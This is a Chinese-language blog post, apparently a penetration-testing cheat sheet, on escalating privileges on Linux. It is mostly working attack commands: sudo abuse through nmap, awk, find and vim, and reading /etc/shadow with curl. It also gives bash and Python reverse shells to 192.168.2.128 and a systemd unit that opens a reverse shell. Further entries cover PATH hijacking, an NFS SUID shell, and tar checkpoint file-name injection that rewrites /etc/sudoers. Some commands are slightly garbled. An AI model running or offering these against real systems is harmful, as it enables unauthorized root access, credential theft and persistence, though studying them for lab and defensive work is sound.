linux提权

为什么权限提升很重要:

        在实际渗透测试时,很少能获得立足点,获得一个立足点后,权限提升就显得非常重要了

权限提升后:

重置密码

绕过访问控制以及泄露受保护的数据

编辑软件配置

启用持久性

更改现有或者新的用户权限

执行任何管理命令

lsb_release:查看linux的发行版信息

uname :查看内核版本

密码复用提权:

数据库,后台web密码,/var/www/html文件中的配置文件中的密码。 可能就是root的密码

如果用户在nmap上有sudo权限:

1. 检查当前用户拥有sudo权限的列表(无需密码“NOPASSWD”)

    • sudo -l

2. 执行nmap的可交互模式

    • sudo nmap --interactive

3.然后在nmap交互模式下键入!bash,即可得到bash的root权限

    • !bash or !sh
    • whoami

sudo:

1.awk

sudo awk 'BEGIN {system("/bin/sh")}'

 

2.man

sudo man man

在下面直接 /bin/sh提权

 

3.curl

sudo curl file:///etc/shadow

服务漏洞

netstat -antup #查看各种网络服务

 

        然后把敏感端口转发出来,用本地的工具进行攻击,可能拿到远程 root,即通过漏洞拿到 root 权限windows 用 lcx 做端口转发,linux 用 nc、socat 做端口转发

find命令提权

# 用find 命令查找 有超级属性的文件

        find / -perm -u=s -type f 2>/dev/null

# 查看是否可以用root 命令执行命令

        sudo find `which find` -exec whoami \;

# 命令解释: 以find 命令 执行 whoami 命令。

# find (一个路径或文件必须存在) -exec 执行命令 (结束)\;

# 用find 命令执行

sudo find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/4444 0>&1 \;

find / -type f -perm -04000 -ls 2>/dev/null

        查看suid

# python 方式反弹

 

sudo find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;

SUID:

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000-print2>/dev/null

find / -user root -perm -4000-exec ls -ldb {} \;

不同系统使用不同的命令

bease64:

base64 "$LFILE" | base64 --decode

menu:

echo "/bin/sh" > curl

chmod 777 curl

export PATH=/tmp:$PATH 设置环境变量先从tmp中寻找

/usr/bin/menu

php命令提权:

/usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"

        我们复制了 /bin/sh shell,称之为 curl,赋予它正确的权限,然后将其位置放在我们的路径中。这意味着当 /usr/bin/menu 二进制文件运行时,它使用我们的路径变量来查找 “curl” 二进制文件。这实际上是 /usr/sh 的一个版本,以及这个以 root 身份运行的文件,它以 root 身份运行我们的 shell!

systemctl提权:

首先创建一个service unit来被systemctl加载

 

echo '[Service]

Type=oneshot

ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1"

[Install]

WantedBy=multi-user.target' > mm.service

 

#生成的unit名位mm.service

 

把unit放置在合适的位置

通常unit存放在/usr/lib/systemd/system/ 和 /etc/systemd/system/,可以被systemctl加载执行, 但是渗透过程中需要提权的场景往往权限较小,这些目录不可写。而systemctl的特性决定了,当unit在/tmp目录下时, 无法被systemctl加载。

 

这里就可以把我们生成的unit文件放置再这个目录

攻击机上起监听:

nc -lnvvp xxxx

 

靶机:

systemctl link /dev/shm/mm.service

systemctl enable --now /dev/shm/mm.service

        系统管理员可以用来提高进程或二进制文件权限级别的另一种方法是“功能”。功能有助于在更精细的级别管理权限,简单来说,就是某些特定的人需要使用特定的功能但又不想赋予它特定的权限,这个时候就需要这种办法,更改这文件的功能,使他不需要特定的高权限账号,使用低权限用户也能完成任务

bash提权:

不论是怎么命名的bash如:.suid_bath

直接bath -p 进行尝试

使用getcap列出已经启用的功能:

getap -r / 2>/dev/null

vim:

./vim -c 'py3 import os;os.setuid(0); os.execl("/bin/sh","sh","-c","reset; exec sh")'

计划任务提权:

前提是有在tmp目录下或者低权限用户能够编辑的目录下有计划

 

$PATH环境变量提权:

find / -perm -u=s -type f 2

因为所有用户对tmp都具有权限

查看当前环境变量 echo $PATH

export PATH=/tmp:$PATH 设置环境变量先从tmp中寻找

echo $PATH

cd /tmp

echo "/bin/bash" > thm #此处的thm为自定义名称

ls

chmod +x thm #附加可执行权限

NFS提权:

cat /etc/exports 查看共享

 

showmount -e ip 在攻击机上查看靶机的可挂载共享

 

找一个为no_root_squash(表示禁用了对远程root的权限限制,这意味着远程root用户在访问NFS共享时具有和本地root权限一样的权限)

进入攻击机的共享目录下,编写c文件:

#include

#include

#include

int main (void) {

setuid(0);

setgid(0);

system("/bin/bash");

return 0;

}

编译并赋予执行权限:

gcc shell.c -o shell -w

chmod +s shell

ls -l shell

因为我们挂载了共享,所以在目标机上可以找到我们刚才在攻击机上得到的名为shell的文件;在目标机上执行shell文件即可提权。

web用户提权:

python -c 'import pty;pty.spawn("/bin/bash")';

 

我移动到 /var/www/html(这是 tar'd 的目录)并运行了以下内容。

echo 'echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > privesc.sh

echo "/var/www/html" > "--checkpoint-action=exec=sh privesc.sh"

echo "/var/www/html" > --checkpoint=1

 

过了一会儿,我运行了“sudo -l”,结果如下:

User www-data may run the following commands on skynet: (root) NOPASSWD: ALL

 

得到最高权限

Linux提权之/var/www/html下:

首先如果是从web站点进去,先到web站点下看配置文件有没有泄露密码的地方

然后在看用户的数量,有几个用户,在web泄露的密码是不是能登录上其中的一个用户,如果能登上在进行后续操作。

 

  • 13
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

claydemo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值